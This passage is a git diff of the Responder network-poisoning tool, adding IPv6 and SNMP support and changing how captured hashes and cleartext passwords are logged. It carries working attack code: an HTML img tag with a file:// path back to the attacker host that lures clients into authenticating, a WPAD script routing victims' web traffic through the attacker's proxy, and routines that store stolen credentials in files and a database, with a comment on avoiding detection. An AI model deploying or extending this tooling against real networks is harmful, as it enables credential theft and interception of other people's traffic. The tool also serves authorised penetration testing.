sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
|
||||||
|
|
||||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||||
self.ExternalResponderIP = utils.RespondWithIP()
|
self.ExternalResponderIP = utils.RespondWithIP()
|
||||||
else:
|
else:
|
||||||
self.ExternalResponderIP = self.Bind_To
|
self.ExternalResponderIP = self.Bind_To
|
||||||
|
|
||||||
|
#External IPv6
|
||||||
|
if self.ExternalIP6:
|
||||||
|
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
|
||||||
|
self.ExternalResponderIP6 = utils.RespondWithIP6()
|
||||||
|
else:
|
||||||
|
self.ExternalResponderIP6 = self.Bind_To6
|
||||||
|
|
||||||
self.Os_version = sys.platform
|
self.Os_version = sys.platform
|
||||||
|
|
||||||
@@ -159,6 +179,7 @@ class Settings:
|
|||||||
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
|
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
|
||||||
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
|
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
|
||||||
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
|
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
|
||||||
|
self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt')
|
||||||
|
|
||||||
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
|
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
|
||||||
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
|
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
|
||||||
@@ -185,7 +206,7 @@ class Settings:
|
|||||||
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
|
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
|
||||||
|
|
||||||
if len(self.WPAD_Script) == 0:
|
if len(self.WPAD_Script) == 0:
|
||||||
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
|
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
|
||||||
|
|
||||||
if self.Serve_Exe == True:
|
if self.Serve_Exe == True:
|
||||||
if not os.path.exists(self.Html_Filename):
|
if not os.path.exists(self.Html_Filename):
|
||||||
@@ -202,10 +223,13 @@ class Settings:
|
|||||||
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
||||||
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
||||||
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
||||||
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||||
|
#add a .local to all provided DontRespondToName
|
||||||
|
self.MDNSTLD = ['.LOCAL']
|
||||||
|
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
|
||||||
#Generate Random stuff for one Responder session
|
#Generate Random stuff for one Responder session
|
||||||
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
|
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
|
||||||
|
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
|
||||||
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
|
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
|
||||||
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
|
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
|
||||||
self.DomainName = self.Domain + '.LOCAL'
|
self.DomainName = self.Domain + '.LOCAL'
|
||||||
@@ -284,7 +308,7 @@ class Settings:
|
|||||||
RoutingInfo = "Error fetching Routing information:", ex
|
RoutingInfo = "Error fetching Routing information:", ex
|
||||||
pass
|
pass
|
||||||
|
|
||||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
||||||
try:
|
try:
|
||||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||||
|
|||||||
@@ -3,7 +3,10 @@ try:
|
|||||||
from UserDict import DictMixin
|
from UserDict import DictMixin
|
||||||
except ImportError:
|
except ImportError:
|
||||||
from collections import UserDict
|
from collections import UserDict
|
||||||
from collections import MutableMapping as DictMixin
|
try:
|
||||||
|
from collections import MutableMapping as DictMixin
|
||||||
|
except ImportError:
|
||||||
|
from collections.abc import MutableMapping as DictMixin
|
||||||
|
|
||||||
class OrderedDict(dict, DictMixin):
|
class OrderedDict(dict, DictMixin):
|
||||||
|
|
||||||
|
|||||||
139
utils.py
139
utils.py
@@ -24,8 +24,24 @@ import settings
|
|||||||
import datetime
|
import datetime
|
||||||
import codecs
|
import codecs
|
||||||
import struct
|
import struct
|
||||||
|
import random
|
||||||
|
try:
|
||||||
|
import netifaces
|
||||||
|
except:
|
||||||
|
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
|
||||||
|
|
||||||
from calendar import timegm
|
from calendar import timegm
|
||||||
|
|
||||||
|
def if_nametoindex2(name):
|
||||||
|
if settings.Config.PY2OR3 == "PY2":
|
||||||
|
import ctypes
|
||||||
|
import ctypes.util
|
||||||
|
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
||||||
|
ret = libc.if_nametoindex(name)
|
||||||
|
return ret
|
||||||
|
else:
|
||||||
|
return socket.if_nametoindex(settings.Config.Interface)
|
||||||
|
|
||||||
def RandomChallenge():
|
def RandomChallenge():
|
||||||
if settings.Config.PY2OR3 == "PY3":
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
if settings.Config.NumChal == "random":
|
if settings.Config.NumChal == "random":
|
||||||
@@ -128,17 +144,30 @@ def RespondWithIPAton():
|
|||||||
else:
|
else:
|
||||||
return settings.Config.IP_aton.decode('latin-1')
|
return settings.Config.IP_aton.decode('latin-1')
|
||||||
|
|
||||||
def RespondWithIP():
|
def RespondWithIPPton():
|
||||||
if settings.Config.PY2OR3 == "PY2":
|
if settings.Config.PY2OR3 == "PY2":
|
||||||
if settings.Config.ExternalIP:
|
if settings.Config.ExternalIP6:
|
||||||
return settings.Config.ExternalIP
|
return settings.Config.ExternalIP6Pton
|
||||||
else:
|
else:
|
||||||
return settings.Config.Bind_To
|
return settings.Config.IP_Pton6
|
||||||
else:
|
else:
|
||||||
if settings.Config.ExternalIP:
|
if settings.Config.ExternalIP6:
|
||||||
return settings.Config.ExternalIP
|
return settings.Config.ExternalIP6Pton.decode('latin-1')
|
||||||
else:
|
else:
|
||||||
return settings.Config.Bind_To
|
return settings.Config.IP_Pton6.decode('latin-1')
|
||||||
|
|
||||||
|
def RespondWithIP():
|
||||||
|
if settings.Config.ExternalIP:
|
||||||
|
return settings.Config.ExternalIP
|
||||||
|
else:
|
||||||
|
return settings.Config.Bind_To
|
||||||
|
|
||||||
|
def RespondWithIP6():
|
||||||
|
if settings.Config.ExternalIP6:
|
||||||
|
return settings.Config.ExternalIP6
|
||||||
|
else:
|
||||||
|
return settings.Config.Bind_To6
|
||||||
|
|
||||||
|
|
||||||
def OsInterfaceIsSupported():
|
def OsInterfaceIsSupported():
|
||||||
if settings.Config.Interface != "Not set":
|
if settings.Config.Interface != "Not set":
|
||||||
@@ -148,6 +177,16 @@ def OsInterfaceIsSupported():
|
|||||||
def IsOsX():
|
def IsOsX():
|
||||||
return sys.platform == "darwin"
|
return sys.platform == "darwin"
|
||||||
|
|
||||||
|
def IsIPv6IP(IP):
|
||||||
|
if IP == None:
|
||||||
|
return False
|
||||||
|
regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
|
||||||
|
ret = re.search(regex, IP)
|
||||||
|
if ret:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def FindLocalIP(Iface, OURIP):
|
def FindLocalIP(Iface, OURIP):
|
||||||
if Iface == 'ALL':
|
if Iface == 'ALL':
|
||||||
return '0.0.0.0'
|
return '0.0.0.0'
|
||||||
@@ -155,6 +194,19 @@ def FindLocalIP(Iface, OURIP):
|
|||||||
try:
|
try:
|
||||||
if IsOsX():
|
if IsOsX():
|
||||||
return OURIP
|
return OURIP
|
||||||
|
|
||||||
|
elif IsIPv6IP(OURIP):
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
||||||
|
s.connect(("127.0.0.1",9))#RFC 863
|
||||||
|
ret = s.getsockname()[0]
|
||||||
|
s.close()
|
||||||
|
return ret
|
||||||
|
|
||||||
|
|
||||||
|
elif IsIPv6IP(OURIP) == False and OURIP != None:
|
||||||
|
return OURIP
|
||||||
|
|
||||||
elif OURIP == None:
|
elif OURIP == None:
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
||||||
@@ -162,11 +214,45 @@ def FindLocalIP(Iface, OURIP):
|
|||||||
ret = s.getsockname()[0]
|
ret = s.getsockname()[0]
|
||||||
s.close()
|
s.close()
|
||||||
return ret
|
return ret
|
||||||
return OURIP
|
|
||||||
except socket.error:
|
except socket.error:
|
||||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
|
|
||||||
|
def FindLocalIP6(Iface, OURIP):
|
||||||
|
if Iface == 'ALL':
|
||||||
|
return '::'
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
if IsIPv6IP(OURIP) == False:
|
||||||
|
|
||||||
|
try:
|
||||||
|
#Let's make it random so we don't get spotted easily.
|
||||||
|
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
|
||||||
|
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||||
|
s.connect((randIP+':80', 1))
|
||||||
|
IP = s.getsockname()[0]
|
||||||
|
print('IP is: %s'%IP)
|
||||||
|
return IP
|
||||||
|
except:
|
||||||
|
try:
|
||||||
|
#Try harder; Let's get the local link addr
|
||||||
|
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
|
||||||
|
return IP
|
||||||
|
except:
|
||||||
|
IP = '::1'
|
||||||
|
print("[+] You don't have an IPv6 address assigned.")
|
||||||
|
return IP
|
||||||
|
|
||||||
|
else:
|
||||||
|
return OURIP
|
||||||
|
|
||||||
|
except socket.error:
|
||||||
|
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||||
|
sys.exit(-1)
|
||||||
|
|
||||||
# Function used to write captured hashs to a file.
|
# Function used to write captured hashs to a file.
|
||||||
def WriteData(outfile, data, user):
|
def WriteData(outfile, data, user):
|
||||||
logging.info("[*] Captured Hash: %s" % data)
|
logging.info("[*] Captured Hash: %s" % data)
|
||||||
@@ -231,7 +317,7 @@ def SaveToDb(result):
|
|||||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
if not k in result:
|
if not k in result:
|
||||||
result[k] = ''
|
result[k] = ''
|
||||||
|
result['client'] = result['client'].replace("::ffff:","")
|
||||||
if len(result['user']) < 2:
|
if len(result['user']) < 2:
|
||||||
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
||||||
text("[*] Skipping one character username: %s" % result['user'])
|
text("[*] Skipping one character username: %s" % result['user'])
|
||||||
@@ -251,16 +337,10 @@ def SaveToDb(result):
|
|||||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||||
|
|
||||||
if not count:
|
if not count:
|
||||||
with open(logfile,"a") as outf:
|
|
||||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
|
||||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
|
||||||
else: # Otherwise, write JtR-style hash string to file
|
|
||||||
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
|
||||||
|
|
||||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
|
|
||||||
if settings.Config.CaptureMultipleHashFromSameHost:
|
if not count or settings.Config.CaptureMultipleHashFromSameHost:
|
||||||
with open(logfile,"a") as outf:
|
with open(logfile,"a") as outf:
|
||||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||||
@@ -307,7 +387,7 @@ def SavePoisonersToDb(result):
|
|||||||
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
|
||||||
if not k in result:
|
if not k in result:
|
||||||
result[k] = ''
|
result[k] = ''
|
||||||
|
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
|
||||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||||
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
@@ -336,14 +416,20 @@ def SaveDHCPToDb(result):
|
|||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
|
||||||
return False
|
return 'IPv6'
|
||||||
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
|
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
|
||||||
return True
|
return True
|
||||||
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
|
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def IsIPv6(data):
|
||||||
|
if "::ffff:" in data:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
||||||
try:
|
try:
|
||||||
from string import printable
|
from string import printable
|
||||||
@@ -384,6 +470,10 @@ def banner():
|
|||||||
print(banner)
|
print(banner)
|
||||||
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
|
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
|
||||||
print('')
|
print('')
|
||||||
|
print(" To support this project:")
|
||||||
|
print(" Patreon -> https://www.patreon.com/PythonResponder")
|
||||||
|
print(" Paypal -> https://paypal.me/PythonResponder")
|
||||||
|
print('')
|
||||||
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
|
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
|
||||||
print(" To kill this script hit CTRL-C")
|
print(" To kill this script hit CTRL-C")
|
||||||
print('')
|
print('')
|
||||||
@@ -417,8 +507,9 @@ def StartupMessage():
|
|||||||
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
|
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
|
||||||
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
|
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
|
||||||
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||||
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
|
||||||
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
|
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
|
||||||
|
print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled))
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
print(color("[+] ", 2, 1) + "HTTP Options:")
|
print(color("[+] ", 2, 1) + "HTTP Options:")
|
||||||
@@ -435,14 +526,18 @@ def StartupMessage():
|
|||||||
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
|
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
|
||||||
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
||||||
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
|
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
|
||||||
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
|
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
print(color("[+] ", 2, 1) + "Generic Options:")
|
print(color("[+] ", 2, 1) + "Generic Options:")
|
||||||
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
|
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
|
||||||
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
|
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
|
||||||
|
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
|
||||||
|
if settings.Config.ExternalIP:
|
||||||
|
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
|
||||||
|
if settings.Config.ExternalIP6:
|
||||||
|
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
|
||||||
|
|
||||||
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
|
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
|
||||||
|
|
||||||
if settings.Config.Upstream_Proxy:
|
if settings.Config.Upstream_Proxy:
|
||||||
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
|
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user